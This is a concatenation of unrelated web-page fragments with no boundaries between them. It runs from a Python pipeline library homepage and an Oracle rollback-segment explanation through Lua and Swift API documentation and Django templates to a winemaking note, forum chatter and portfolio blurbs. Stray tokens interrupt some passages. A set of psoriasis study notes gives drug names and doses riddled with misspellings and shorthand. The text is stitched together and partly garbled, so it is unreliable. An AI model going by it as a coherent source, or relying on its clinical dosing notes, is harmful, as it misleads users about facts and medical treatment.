{% extends "layout.html" %} {% set title = 'Ruffus' %} {% block extrahead %} {% endblock %} {% block body %}
Ruffus is a Computation Pipeline library for python. It is open-sourced, powerful and user-friendly, and widely used in science and bioinformatics.Please cite Ruffus as:
Leo Goodstadt (2010) : Ruffus: a lightweight Python library for computational pipelines. Bioinformatics 26(21): 2778-2779
|
Ruffus is designed to allow scientific and other analyses to be automated with the minimum of fuss and the least effort. These are Ruffus's strengths:
Please join me (email: ruffus_lib at llew.org.uk) in setting the direction of this project if you are interested. |
|
Download Simple Tutorial Manual
(pdf) |
Table of contents Frequently Answered Questions Design Cheat Sheet |
Ruffus is available as an easy-installable package on the Python Package Index.
Just run:sudo pip install ruffus --upgrade
or
easy_install -U ruffus
The very latest (in development) code can be obtained via git :
git clone https://bunbun68@code.google.com/p/ruffus/


Purpose
The purpose of this site is to provide a simple page of semantic markup that we can use while working with the accessibility API.
In this paragraph, we are using some HTML elements to testthe kind of things that the API does not return when `interestingOnly`
is set to `true`
.


a6a
|
||||||
|
|
|
674
22 1000
Understanding How Rollback Segments WorkAs a transaction is being processed, information relating to changes made to the data files by that transaction is constantly being written to the rollback segments. It is important that this information be saved because a rollback would require that all data be restored to its original condition. The information written by the transaction to the rollback segments is called rollback entries. Depending on the length of the transaction and the amount of changes to data, there may be more than one rollback entry for each transaction. These entries are linked together so that they can easily be used in the event of a rollback. The information stored in the rollback segments includes block information about what blocks have been modified and the data as it was before the change occurred. Remember that the redo log also records information about changes in the database. The redo log along with the rollback segments can restore your data up to the point of failure. Rollback segments are concurrently used by one or more transactions. You can tune the rollback segments to provide for optimal efficiency and space usage. More transactions sharing rollback segments cause more contention and use space more efficiently. Fewer transactions per rollback segment cause less contention and waste more space. Oracle maintains what is called a transaction table for each rollback segment. The transaction table stores information about what transactions use that rollback segment and the rollback entries for each change done by these transactions. Each time a new transaction begins, it is assigned to a rollback segment. This can happen in one of two ways:
At the end of each transaction, when the COMMIT has occurred, the rollback information is released from the rollback segmentbut is not deleted, in order to provide read-consistent views for other queries that started before the transaction was committed. To retain this information as long as possible, the rollback segments are written as a circular buffer as described next. You can think of rollback segments as a sort of circular buffer. A rollback segment must have at least two extents (usually more). When a transaction fills up one extent, it starts using the next extent in sequence. When it gets to the last extent, the transaction continues with extent 1 again, if it is available (see Figure 9.3).
If the transaction uses the last extent in the segment, it looks to see whether the first extent is available. If not, c21 another extent is created (see Figures 9.4 and 9.5).
The number of extents used for the rollback segments is determined in the definition of the rollback segments when you create them. Rollback segments are created with the following command: CREATE PUBLIC ROLLBACK SEGMENT rsname TABLESPACE tsname STORAGE ( INITIAL 100K NEXT 100K OPTIMAL 1500K MINEXTENTS 15 MAXEXTENTS 100); In this example, the following values are specified by the user:
Initially, there are MINEXTENTS number of extents in the rollback segment. As extents fill up, they are used in a circular fashion, returning to the first extent when all others are filled. If a rollback segment has used all the space in all the extents and MAXEXTENTS has not been reached, another extent is created. If the size of the rollback segment is larger than OPTIMAL and there are unused extents, the unused extents are dropped from the rollback segment. Both the creation and destruction of rollback segment extents cause overhead in the system. In addition to the overhead created by the addition of extents to a rollback segment, the transaction needing to write into that rollback segment must wait for the extent to be created before it can continue. The following sections explain how to tune your use of rollback segments.
|
| 702 |
|


MOVE tabs:
moves tabs left or right when they are on the trey.
POP OFF tabs:
will pop a tab off of the current window.
SEND tabs:
will send a tab from the current window, to another open window (with custom UI to choose for 3+ windows)
Tabbo
Customize hotkeys


--- layout: default title: Piquette 2020 ---
Building of the success of of previous year's piquettes we increased production this year to match all the must we produced for the rest of our wines.
We once again followed [Wild Arc Farm's](https://www.wildarcfarm.com/) style and took all our pressed must and rehydrated it. The rehydrated must was left for 2 weeks before pressing.
The must then went into fermenters with american oak chips for 4 months and was topped up with 15% wine from the 2020 harvest.
After 2 rackings we bottle condition with 12g/l of honey and champagne yeast. We are doing small batches and experimenting with additional addatives like hops and citrus rind.


Module Concord
Functions
| loadComponents (pathOrFiles) | Loads ComponentClasses and puts them in the Components container. |
| loadSystems (pathOrFiles) | Loads SystemClasses and puts them in the Systems container. |
| loadWorlds (pathOrFiles) | Loads Worlds and puts them in the Worlds container. |
| loadAssemblages (pathOrFiles) | Loads Assemblages and puts them in the Assemblages container. |
Functions
- loadComponents (pathOrFiles)
-
Loads ComponentClasses and puts them in the Components container.
Accepts a table of paths to files: {"component_1", "component_2", "etc"}
Accepts a path to a directory with ComponentClasses: "components"
Parameters:
- pathOrFiles
- loadSystems (pathOrFiles)
-
Loads SystemClasses and puts them in the Systems container.
Accepts a table of paths to files: {"system_1", "system_2", "etc"}
Accepts a path to a directory with SystemClasses: "systems"
Parameters:
- pathOrFiles
- loadWorlds (pathOrFiles)
-
Loads Worlds and puts them in the Worlds container.
Accepts a table of paths to files: {"world_1", "world_2", "etc"}
Accepts a path to a directory with Worlds: "worlds"
Parameters:
- pathOrFiles
- loadAssemblages (pathOrFiles)
-
Loads Assemblages and puts them in the Assemblages container.
Accepts a table of paths to files: {"assemblage_1", "assemblage_2", "etc"}
Accepts a path to a directory with Assemblages: "assemblages"
Parameters:
- pathOrFiles


Welcome to the PSU voice system. What can we do for you today. registeration, grades, new user, exit Please say your choice


Programming has hundreds of different languages for us to use. Python, Ruby, C++, Java, C# are just some of the popular languages that show up when programming is discussed. However, not all of them are meant for web development. The core languages that anyone will learn are HTML/CSS , JavaScript and a choice of a front-end framework. Unfortunately, this course did not cover JavaScript so while it may be one of the important languages to know, it will not be covered throughout this section
Front-end Frameworks are not exactly languages. They can be considered more as a highly customized subset of a particular language. Often all the techniques that are applicable to HTML/CSS and JavaScript can also be executed under a front-end framework, such as Bootstrap. HTML/CSS. They are not necessarily required to know to build a website, but they do make the process of doing it much easier. In-fact, this website project was built using Bootstrap!


LuaCwrap is a wrapper for C datatypes written in pure C. It utilizes metadata (aka type descriptors) to describe the layout and names of structures, unions, arrays and buffers.
LuaCwrap
Depends on Lua, the Lua development packages. LuaRocks is used for build/install.
Install the following packages
For a beginner I would recommend to install the latest "Lua for Windows" setup from from https://github.com/rjpcomputing/luaforwindows/releases and install LuaCWrap via LuaRocks.
Install on console via
LuaCwrap deals with two types of objects:
The lifetime of both object types are controlled by the Lua VM. Boxed objects are 'toplevel' whereas Embedded objects reference 'embedded' objects within so called 'outer' objects. Because of that Embedded objects have to control the lifetime of their outmost boxed object.
If a boxed object contains a pointer attribute ($ptr) you are able to assign different Lua object types to the pointer attribute. These objects types like strings, userdata and light userdata include LuaCwrap objects which makes it possible to create pointer connected data structures. To couple the lifetime of Lua objects that had been assigned to a pointer attribute to the lifetime of the outer object a reference to the Lua object pointed to is stored within the environment table of the outer object. To handle union types correctly the pointer attribute offset is used as the table key. The table value contains the referenced value.
Sometimes it is necessary to manually control the lifetime of Lua objects pointed to by
pointer attributes. For this reference attributes ($ref) are used. If you assign Lua objects to
reference attributes a reference to the Lua object is stored in a hidden reference table under a unique
integer id. The integer id is assigned to the reference attribute. On reading a reference attribute the
integer id is returned as a reference object. This reference object can be used to access the underlying
Lua object (via refobject.value
) the reference index number (via refobject.ref
) or to release the
reference manually (via refobject:release()
).
Embedded objects can also be used to push C pointers during calls from C to Lua. But in this case you have to be aware that in most cases the C pointer isn't valid after the Lua function scope ends. If you want to store the referenced value you have to duplicate the underlying instance via
The LuaCwrap exports several functions. One of them, the luaopen_luacwrap
function, enables that LuaCwrap could be used from standalone Lua scripts.
The other functions could be bound to by C modules or executables
to be able to register object descriptors or to create/push object instances
on the Lua stack.
Importing LuaCwrap is only necessary if you want to declare your own types via the Lua-API. In this case use the followig line:
C modules which want to provide wrappers usually create their own namespace table to register their types.
For an example see the source code of the testluacwrap
module, which is provided with this package
for unit testing.
Maybe the primary use case will be to register type descriptors from C but there is also a Lua API to reach this functionality.
You can use registerarray
to register a new array type.
Example:
You can use registerbuffer
to register a new buffer type.
Example:
To create buffers there is a dedicated createbuffer
function
which combines the creation of the appropriate type descriptor
with the creation of a buffer instance via the new
method.
The above code could be shrinked down to
The createbuffer
function maintains an internal table indexed by
the buffer size to create type descriptors only when needed.
You can use registerstruct
to register a new record type.
The parameter members
is a table with entries for each struct member.
This entries have the form
Usage:
Every registered type descriptor has two methods new
and attach
which could be used to
create new instances or create a wrapper around existing userdata.
By default the new
function initializes objects with 0. An aditional init parameter
changes this behaviour. If you specify a number as init parameter the object memory is
filled with the given number value.
If you give a lua table the new
function it assigns the name/value pairs to
the corresponding attributes. This works recursively for embedded object instances.
An additional set
function makes it possible to initialize existing object instances
from a given table of values.
Object attributes can be accessed like Lua table items.
The new
function could also be used to duplicate objects. If the first parameter is a
object of the same type the contents of that object are used to initialize the newly created one.
A shorter form is to use the object:__dup()
function
You can easily extend struct and union types, that have been registered via luacwrap.
E.g. you have registered a rect structure under the name RECT, then you can add
methods simply by adding them to the RECT type descriptor.
After that you can use these methods as follows:
Since version 1.1.0-1 the C interface is exported it via a C interface struct. This enables dependant C modules to load luacwrap dynamically via the Lua loader and avoids problems with module lookup (especially under Windows).
Typically during the module_open() function the dependant module gets access to the C interface struct with the following code:
The resulting struct pointer (g_luacwrapiface) is then used in subsequent calls.
For these types you have to specify appropriate get and set callbacks which handles
marshalling. Therefore registering basic types is only possible via the C API.
Use the registerbasictype
function and see the source of LuaCwrap
for usage examples.
From the C API in most cases you push wrapper objects (light embedded objects) to static instances to call functions with parameters.
From Lua you use the instance as follows:
object:__dup()
method to create a clone, which lifetime is controlled
by the Lua VM.
Lifetime of boxed objects is maintained by the Lua garbage collector. To create them from the C API you use the pushboxedobj() function.
From Lua you use the instance as follows:
With the typedesc:attach()
function you can attach a light embedded object to an
Lua userdata object which is interpreted as a pointer address. The above C sample could be modified
like this:
From Lua you access the instance as follows:
attach
method acts like a C cast many things could go wrong. So if you use attach
be sure
you know what you are doing.
Sometimes the final structure to attach to a given light userdata is not known in advance. It is common practice in several APIs to hava a common header with a type or class field. This field denotes the final structure to use. Attaching could be done via the original light userdata which is also available as
Since version 2.0.0-1 of luacwrap additional functions had been exposed through the C-API. These are used to access the environment of managed objects and access the object specific reference tables. Thesee functions are helpfull e.g. to specify your own pointer types.
Use setenvironment/getenvironment to access the object specific environment table. These environments also holds the object specific references (addressed by integer indices). Sample code:
You can access references in the environment table via luarawseti/luarawgeti, but there are more convenient methods for this:
Use mobjgetreference/mobjsetreference to get/set a reference in the managed object environment table, mobjsetreference also takes care that the environment table exists. Most times mobjgetreference is used in the implementation of the get method of pointer types to check if there is already a reference set for a specific pointer offset:
The counterparts mobjsetreference/mobjremovereference are used to implement the set method of pointer types to assign references or remove references if nil or 0 is assigned to a pointer type member.
LuaCwrap creates a single module table, where all module global data is stored. The module table contains:
The type descriptor table spans the namespace for all registered types. Type names containing dots are stored in the corresponding subtables. The type table contains predefined types which names start with the '$' character. These are
along with the platform dependant types
Buffers are registered within the type table, too. The name of buffer types is derived from the buffer length ($bufn, where n denotes the buffer length). If a buffer with the requested size is already registered, the existing one is returned.
This table is used to control the lifetime of reference attributes ($ref).
Used by the register function to store unique strings used within type descriptors.
LuaCwrap is licensed under the terms of the MIT license reproduced below. This means that LuaCwrap is free software and can be used for both academic and commercial purposes at absolutely no cost.
Copyright (C) 2011-2021 Klaus Oberhofer
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
 IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.


Administration Staff
{{staff_member.name}} {{staff_member.title}}
{{staff_member.email}}
Website
Teaching Staff
{{staff_member.name}} {{staff_member.title}}
{{staff_member.email}}
Website
Support Staff
{{staff_member.name}} {{staff_member.title}}
{{staff_member.email}}
Website


{% extends 'crm/base.html' %} {% block content %} {% include 'crm/organisations/organisation_detail_subheader.html' %}
ID: {{ object.id }}
Name: {{ object.name }}
Created: {{ object.created }}
Created by: {{ object.created_by }}
Owned: {{ object.owned }}
Owned by :{{ object.owned_by }}
Assigned: {{ object.assigned }}
Assigned by: {{ object.assigned_by }}
Modified : {{ object.modified }}
Modified by: {{ object.modified_by }}


Enter your User Name and enter your level of Cowabungas! You will then see your last weeks results so you can see how Cowabunga your life has been!


Type Annotations Syntax
- Syntax
- A type annotation appears before the type’s simple name
- on a wildcard type argument [..] before the wildcard
- [..] given array level prefixes the brackets [..]
- [..] in front of a constructor declaration [..]
- [..] explicitly declare the method receiver as the first formal parameter [..]
- [..] write an annotation on a type parameter declaration. [..]


Below is the list of mobile apps and devices that you can use with the Ohmage-omh platform.
You have enrolled as a participant in the following studies:


Software Developer Contractor at T-Mobile
Learn MoreFull stack software developer with over three years of experience currently building RESTful web APIs as a contractor at T-Mobile. Strong experience in object-oriented languages including Python, C#, and Javascript, as well as technologies such as Flask, ASP.NET Core, Node.js, MySQL, and Blazor. Brings to the team a robust technical skill set, a fast and motivated learner, a collaborative group member, and the ability to clearly teach complex ideas to others. Graduate of University of Washington Full Stack Coding Certificate and Whitman College.
Looking to provide expertise and value to an organization while furthering my experience as a software developer.
Born and raised in Seattle, WA, I love the North West. My interests include improving my programming skills, rock climbing, running, and spending time with friends.
Feel free to contact me with questions!
SkillsProgramming language
Web Framework
Programming language
Web Framework
Javascript runtime environment
Statically Typed Javascript
Server side Python framework
Database
NoSQL Database
Modern UI library
Modern UI library
Modern UI library
Contact Tristan


SNIPERS!! began as a side project of drummer Terrance Fleming and guitarist Andy Pohl's band, Good City Lie Still. After Good City's break up in 2008, the pair continued the project as their main creative outlet. Originally a two piece, the band has seen a rotating cast of characters over it's lifespan, ultimately landing as a four-piece which included guitarist Derek King and bassist Ben Shackelford. Let The Wolves Eat Themselves was recorded at Derek's home studio, and was Sell The Heart Records' first official release.


SpeechToTextSession
public class SpeechToTextSession
The IBM Watson Speech to Text service enables you to add speech transcription capabilities to your application. It uses machine intelligence to combine information about grammar and language structure to generate an accurate transcription. Transcriptions are supported for various audio formats and languages.
This class enables fine-tuned control of a WebSockets session with the Speech to Text service.
Although it is a more complex interface than the SpeechToText
class, it provides more control
and customizability of the session.
-
The base URL of the Speech to Text service.
Declaration
Swift
public var serviceURL = "https://stream.watsonplatform.net/speech-to-text/api"
-
The URL that shall be used to obtain a token.
Declaration
Swift
public var tokenURL = "https://stream.watsonplatform.net/authorization/api/v1/token"
-
The URL that shall be used to stream audio for transcription.
Declaration
Swift
public var websocketsURL = "wss://stream.watsonplatform.net/speech-to-text/api/v1/recognize"
-
The default HTTP headers for all requests to the service.
Declaration
Swift
public var defaultHeaders = [String: String]()
-
The results of the most recent recognition request.
Declaration
Swift
public var results: SpeechRecognitionResults
-
Invoked when the session connects to the Speech to Text service.
Declaration
Swift
public var onConnect: ((Void) -> Void)?
-
Invoked with microphone audio when a recording audio queue buffer has been filled. If microphone audio is being compressed, then the audio data is in Opus format. If uncompressed, then the audio data is in 16-bit mono PCM format at 16 kHZ.
Declaration
Swift
public var onMicrophoneData: ((Data) -> Void)?
-
Invoked every 0.025s when recording with the average dB power of the microphone.
Declaration
Swift
public var onPowerData: ((Float32) -> Void)?
-
Invoked when transcription results are received for a recognition request.
Declaration
Swift
public var onResults: ((SpeechRecognitionResults) -> Void)?
-
Invoked when an error or warning occurs.
Declaration
Swift
public var onError: ((Error) -> Void)?
-
Invoked when the session disconnects from the Speech to Text service.
Declaration
Swift
public var onDisconnect: ((Void) -> Void)?
-
Create a
SpeechToTextSession
object.Declaration
Swift
public init(username: String, password: String, model: String? = nil, customizationID: String? = nil, learningOptOut: Bool? = nil)
Parameters
username
The username used to authenticate with the service.
password
The password used to authenticate with the service.
model
The language and sample rate of the audio. For supported models, visit https://www.ibm.com/watson/developercloud/doc/speech-to-text/input.shtml#models.
customizationID
The GUID of a custom language model that is to be used with the request. The base language model of the specified custom language model must match the model specified with the
model
parameter. By default, no custom model is used.learningOptOut
If
true
, then this request will not be logged for training. -
Connect to the Speech to Text service.
If set, the
onConnect()
callback will be invoked after the session connects to the service.Declaration
Swift
public func connect()
-
Start a recognition request.
Declaration
Swift
public func startRequest(settings: RecognitionSettings)
Parameters
settings
The configuration to use for this recognition request.
-
Send an audio file to transcribe.
Declaration
Swift
public func recognize(audio: URL)
Parameters
audio
The audio file to transcribe.
-
Send audio data to transcribe.
Declaration
Swift
public func recognize(audio: Data)
Parameters
audio
The audio data to transcribe.
-
Start streaming microphone audio data to transcribe.
Knowing when to stop the microphone depends upon the recognition request’s continuous setting:
If
false
, then the service ends the recognition request at the first end-of-speech incident (denoted by a half-second of non-speech or when the stream terminates). This will coincide with afinal
transcription result. So thesuccess
callback should be configured to stop the microphone when a final transcription result is received.If
true
, then you will typically stop the microphone based on user-feedback. For example, your application may have a button to start/stop the request, or you may stream the microphone for the duration of a long press on a UI element.
By default, microphone audio data is compressed to Opus format to reduce latency and bandwidth. To disable Opus compression and send linear PCM data instead, set
compress
tofalse
.If compression is enabled, the recognitions request’s
contentType
setting should be set toAudioMediaType.Opus
. If compression is disabled, then thecontentType
settings should be set toAudioMediaType.L16(rate: 16000, channels: 1)
.This function may cause the system to automatically prompt the user for permission to access the microphone. Use
AVAudioSession.requestRecordPermission(_:)
if you would rather prefer to ask for the user’s permission in advance.Declaration
Swift
public func startMicrophone(compress: Bool = true)
Parameters
compress
Should microphone audio be compressed to Opus format? (Opus compression reduces latency and bandwidth.)
-
Stop streaming microphone audio data to transcribe.
Declaration
Swift
public func stopMicrophone()
-
Stop the recognition request.
Declaration
Swift
public func stopRequest()
-
Send a message to prevent the service from automatically disconnecting due to inactivity.
As described in the service documentation, the Speech to Text service terminates the session and closes the connection if the inactivity or session timeout is reached. The inactivity timeout occurs if audio is being sent by the client but the service detects no speech. The inactivity timeout is 30 seconds by default, but can be configured by specifying a value for the
inactivityTimeout
setting. The session timeout occurs if the service receives no data from the client or sends no interim results for 30 seconds. You cannot change the length of this timeout; however, you can extend the session by sending a message. This function sends ano-op
message to touch the session and reset the session timeout in order to keep the connection alive.Declaration
Swift
public func keepAlive()
-
Wait for any queued recognition requests to complete then disconnect from the service.
Declaration
Swift
public func disconnect()


[1]
i agree it to a hostel or an ibis style hotel.
[2]
the place is with all respect intent on squeezing as much of your pocket.


Psoriasis vulgaris
-
Peak = 22.5yo
-
Early presentation = more severe
-
2-3% population
-
late teens -> 50s
-
Polygenic trait
-
1/3 have relative
-
25% have associated arthritis
-
Assoiceted with DM
-
PASI - psoriasis area severity index
- combines severityL eryteam, induration and desquamation and % area affected
Trigger
-
Physical trauma -> Koebner phenomenom
-
Smoking
-
Infection
- Strep: Guttate psoriasis
-
Stress
- 40% of flares
-
Drugs
-
Systemic corticosteroids
-
oral lithium
-
anitmalarials
-
NSAIDs
-
interferon
-
B-blockers
-
EtOH
-
-
although sunlight improves; 5% may get flare after sunlight exposure
Pathogensis:
-
inc. turnover of keratocytes
-
normal keratinocytes take 28d to migrate -> surface
-
psoriasis = 4/7
-
-
inc. CD8 & T-cells
Types
Eruptive/inflammatory
-
multiple small (guttate/nummular)
-
tendency towards resolution
-
rare - 2%
Chronic stable (plaque psoriasis)
- majority of cases - 80%
Skin lesions
-
Itch = common
-
scalp
-
ano-genital lesions
-
Sharply demarcated/marginated erythematous plaque with silvery white scale
-
Scale
-
lamellar
-
loose
-
easily removed by scratching
- Auspitz sign
-
-
Papules -> plaques
-
coalesce
- polycyclic, serpigoius patterns
Acute guttate:
-
after strep/urti
-
salmon pink +/- scale -> scrape
-
concentrated on trunk
-
resolves spontaneously after \~ 4 weeks but may evolve to chronic plaque psoriasis
Chronic stable/plaque:
-
loosely adherent scale
-
polycyclic/geographic
-
can adhere tightly; hyperkeratosis (shell of oyster)
-
Extensor surfaces: scalp, palms, soles
-
bilateral
-
often symmetrical
Flexural (inverse)
Special sites:
Palms/soles:
-
may be only area affected
-
cracking/painful fissures/bleeding
Scalp:
- doesn’t lead to hair loss
Face
-
uncommonly involved
-
often refractory
Bodyfolds/groin:
-
not scaly as too moist
-
sharp demarcation differentiates from fungal infection
Nails
-
Frequently involved (25%)
-
often with arthritis
-
Pitting
-
subungal hyperkeratosiss
-
onchylosis
-
yellowish/brown spots under nail plate
Pustular psoriasis
-
incidence less cf. vulgaris
-
50-60yrs
-
F>M 4:1
-
eruptions come and go
-
itchy
-
Skin:
-
pustules in stages of development (2-5mm)
-
deep seated
-
yellow
-
limited to palms + feet
-
-
persistent for years
Generalised acute pustular psoriasis
-
rare: adults
-
life threatening
-
burning, fiery, red, erythematous
-
spreads within hours
-
pinpoint sterile pustules
-
fever
-
leukocytosis; cytokines/chemokines
-
Waves of pustules
Psoriatic Arthritis
-
seronegative arthritis
-
Asymetric peripheral joint involvement
- upper limb/smaller joints
-
10% will have no visible skin lesions
-
may lead to arthritis mutilans
-
telescope fingers
-
mutilation of hand
-
considerable functional impairment
-
-
5 different types of psoriatic arthritis:
-
Asymmetrical arthritis
-
involves small joints,
-
few erosions
-
good preservation function/little deformity
-
-
symmetrical polyarthritis
-
erosive
-
deforming
-
disabling
-
distal cf. prox interphalangeal joints are affected
-
-
Ankylosing spondylitis with or without peripheral arthritis
- commonly associated with HLAB27 - 40%
-
-
-
Greater impairment to QoL
-
Longer disease duration
-
greater self reported disease severity
Erythrodermic:
-
abrupt withdrawal of systemic therapy
-
allergic reactions
-
smoking
-
infection
-
lithium, antimalarias
Management of psoriasis:
-
Fatty cream ( + 10% urea or 2% salicylic acid in white soft paraffin
-
Coal tar/pinetar
-
dec. itch and scale
-
?how works
-
Rx:
LPC 10%, salicylic acid 2% in aqueous cream ad 100%. 200 g
-
-
Corticosteroids:
-
used by majority
-
lowest potency used for limited period of time on face and other areas
-
-
Pimecrolimus
- non steroid
-
Tachyphylaxis + flares when steroids long term
- consider dec dose on 2-3 consectuviedays/sertoid free times
-
Calcipotriol (daivonex)
-
not for severe/extensive unless Ca2++ monitored
-
not for face
-
total dose \< 5mg/week (100g or 60g scalp + 30g tube/cream…)
-
not be used at same time as salicylic acid as inactivated
-
-
Dithranol (micanol) 1%
-
hydroxyantrones
-
apply once daily to plaques
-
rubbed in gently till no longer smears
-
rinsed off with h2o 10 minutes
-
increase application time over 7/7 to max 30 min
-
-
not applied to areas of thin skin
-
avoid in prey. lactation, children
-
Factors influencing treatment decisions:
-
Age
-
Type: Guttate, plaque, palmar, palmar pultular, generalised pustular, erythematous
-
Site
-
-
Localised to palms/soles, scalp, scattered \<5%
-
Generalised >30% involvement
-
-
Ideally seen by dermatologist
-
Generalised psoriasis should be managed in vary care: PUVA, MTX, biologicals
Localised psoriasis
Trunk and extremeties:
-
Topical glucocorticoids in ointment:
-
betametasone pop. 0.05% oint (Diprasone)
-
clobetasol pop 0.05% oint (dermol)
-
applied after scale has been removed by soaking in h2o
-
-
Hydrocolloid dressing left on 24-48hrs
-
develop tolerance (tachyphylaxis)
-
max 50g/week of steroid
-
-
Can inject triamciolone 3mg/mL diluted with 0.9% NaCl -> must be intradermol
-
Vitamin D analogues:
-
Calcipotrone 0.005% oint (Daivonex)
- apply bd max 100g/week
-
Can be combined with topical steroid
-
applied to \<40% boysurgace
-
max dose to avoid hypercalcaemia
-
-
Topical pimecrolius 1%
-
inverse psoriasis
-
steroid sparing
-
Elidel - not subsidised
- apply bd until symptoms resolve
-
-
Topical retinoids
Scalp
Mild:
-
superficial scaling + thick plaques
-
Tar or ketoconazole shampoo followed by betamethasone vale rate 1% lotion
-
Pinetarsol 2.3%
-
betamethasone alerate = betacream/betnovate
-
coal tar + salicylic acid sulfar = coco-scalp
-
Ketoconazole 2% shampoo may help some patients with mild scalp psoriasis
- use twice weekly
-
-
dithranol 0.1% can be applied to scalp after hair washed
-
Corticosteroid scalp:
-
hydrocortisone-17-butyrate -0.1% (locoid scalp/Crelo)
-
Betamethasone valerate 0.1% (beta scalp)
-
Mometasone furoate 0.1% (Elocon lotion)
-
Clobetasol porpionate 0.05% (dermol scalp)
-
applied od/bd for short courses up to 1/12 in duration then 2-3 days / week for maintenance
-
overuse may make worse
-
-
Calcipotriol scalp (50mcg/ml)
-
bd
-
reduce frequency
-
dose should not >60mL/week
-
cream may be more effective
-
Severe:
-
removal of plaque before active treatment
-
10% salicylic acid in mineral oil overed with plastic cap and left overnight
-
after shedding:
-
clobetasol or calcipotrone lotion
-
Palms and sole:
-
occlusive dressing with strong steroid (class 1)
-
PUVA
-
oral retinoid good for removing hyperkeratosis
Palmo-plantar pustular;
-
PUVA
-
topical meds ineffective
Inverse psoriasis
-
topical corticosteroids
-
atrophy more pronounced
Generalised
-
oral methotrexate
-
ciclosporin
-
biologicals
Specialist referral:
-
>20% body surface
-
Generalised pustular psoriasis (mild, ocalised or palmoplantar pustulosis may not require ref.)
-
Erythrodermic psoriasis
-
Psoriatic artritis
-
Localised recalcitrant psoriasis
-
Psoriasis that significantly interferes with function
Phototherapy:
-
may need 20-40 treatments;
-
2-3 times weekly
-
narrowband UVB phototherapy
-
Thin plaque; 85% achieve 90% clearance
-
risks:
-
burns
-
inc. skin cancer
-
premature aging
-
Methotrexate:
-
folate antagonist
-
T-cell suppressive
-
effective >60% 10-30mg
-
supp. folic acid may reduce adverse effects: GI disturbance and mouth ulceration
-
CI in preg and lactation
-
Liver disease
-
monitor:
- blood count, LFT, Cr q1-3/12
-
Can’t have other folate antagonists:
- TMP/sulfonamides
Acitretin
normalising epidermal cell proliferation, differential and cornification
erythrodermic/pustular
Special authority
Ciclosprin
-
rapidly effective
-
3-6 month courses
-
BP and renal function
Biologicals
- infliximab/adalimumab


The Fire Marshal - Better Battlelog Forums #93822
Sitemap
07.  April 2013 15:33
Topicstarter
GameFreakBoy
http://www.youtube.com/watch?v=bD3AsjzLwdQ
07. April 2013 14:22
Post edited 2 x times, last by
xXJumpyXx
Helping Hand
07. April 2013 16:41
xXJumpyXx
Helping Hand
Ah, such a classic. Fire Marshall Bill (Jim Carrey) is awesome.
I like the space version myself:
https://www.youtube.com/watch?v=BU7861MufFs


About Me
Name: Karen Roh
Born in: Miami, FL
I'm an ordinary 18 year old high school graduate that found interest
in computer programming while searching for a field that I wanted to
major in.
I speak English and Korean.
I coordinate very well with people and know the way to work as a
team.
My goal is to become a full stack web developer.


--- layout: post title: 'MEX: The Delicate Path of Balancing Commercial Imperative and User Experience, Priya Prakash' date: 2009-05-19 00:00:00 categories: business digital-media interfaces-&-interaction mobile ---
MEX: The Delicate Path of Balancing Commercial Imperative and User Experience, Priya Prakash
Priya's moved from Flirtomatic to Icon to Nokia.
Balancing commercial imperatives with user experience is a bit like "Man on Wire": it's tough but if you do it right, there's a beauty to it.
What is value, as perceived by the customer?
References the $999 "I Am Rich" app. 3 days of fame on the app store led to $5300 dollars.
I hang out on customer forums when I don't have time to talk to real people: found someone wanted to transfer old text messages from an old iPhone to a new one. No matter how interesting the GUI is, there's sentimentality here.
Orange Wednesdays: long-running promotion, clearly defined benefits, touches on brand value (bringing people together to share an experience).
Shows iPhone, Prada Phone, Blackberry: each has a perceived value, different audience. Not everyone goes for the iPhone.
Traditionally marketing pushes for more functions, linking more functions to more value. But we know people use small %age of functions on phones.
Value is perceived based on the story you create in the mind of the customer.
Shows 2008 CRM planner for Flirtomatic. Every week Priya sat with her team to come up with new promotions and campaigns. Talks about leap year proposal day. Talks about flirt point currency, encouraging sleeping flirters to wake up.
Can a paid-for service enhance the users' perception of the experience?
Where and when are value exchanges happening?
In Flirtomatic the biggest call to action was "I'm bored". Don't make registration a barrier to entry. What are the hooks motivating people to come back?
Compare to Sky+, radio, daily newspaper and Guardian web site. You can consume the same news through all of then. Radio feels free but is prepaid via license fee; web site is ad-funded; paper is paid-for and ad-funded; Sky+ shows it.
Shows graph of media consumption throughout the day. Shows graph of mobile vs PC usage of Flirtomatic per day.
Shows table-data-porn from Flirtomatic.
Talks about time spent running Digital Wellbeing at Bluebird: things need to change in retail world to keep folks engaged and involved.
Will distraction-based advertising ever work in mobile?
There is little value in it unless you're stationary.
Flirtomatic had more revenue from user-to-user ads than third party ads. There's a bidding process for ads, they're time-limited... a bit like advertorial.
What revenue models provide the best experience?
Skype credit automatically recharges itself. There's no repeat-entry of credit card details. It's seamless. Maybe only 8% of the people are propping up the rest of it, that's fine.
Ars Technica article on the Zune Pass: it's costs $30,000 to fill an iPod, ZunePass is a subscription model for music.
Shows the Flrtomatic Freemium Funnel - taking users from registration to revenue-generating.
On iPhone, engagement for paid apps is more than for free apps.
The App Store needs curation to help people discover apps, just like physical shops do.
What is customer reality?
People snack.
People never upgrade unless the free version doesn't deliver core benefits.
People don't register.
People use other peoples accounts.
People hesitate to give CC details on per-use basis.
People like frivolity.
People are bored or busy.
So to monitise, you need a highly reactive business strategy. It's like the fashion industry - look at Zara - you need to be flexible and timely to react to market needs.
Q: Re phones baffling users: one related article said that smartphones are driving the mobile market. If more people are buying them but everyone is saying they're confusing... where's the disconnect?
A: People want them, but can't use them.
Q: Industry has thought of functions as physical things for too long. We've spent a lot of time building swiss army knives and albatrosses.
A: There's been an underappreciation for frivolity too. It's not a question of more functions being bad, it's about communicating value to users and looking at the discovery process.


e-book Library
Show added books
Book Details
Title
*
:
Author
*
:
Price:
Summary:
Author e-mail:
Author Phone:


Recikey: Unlock the Power of Your Pantry
Do you have a random assortment of ingredients at home but no idea what to make with
them?
Recikey is here to help.
Just add whatever ingredients you have on hand
into the search bar and Recikey will find a list of recipes using those ingredients!
The first ingredient you search will be the recipe's main ingredient
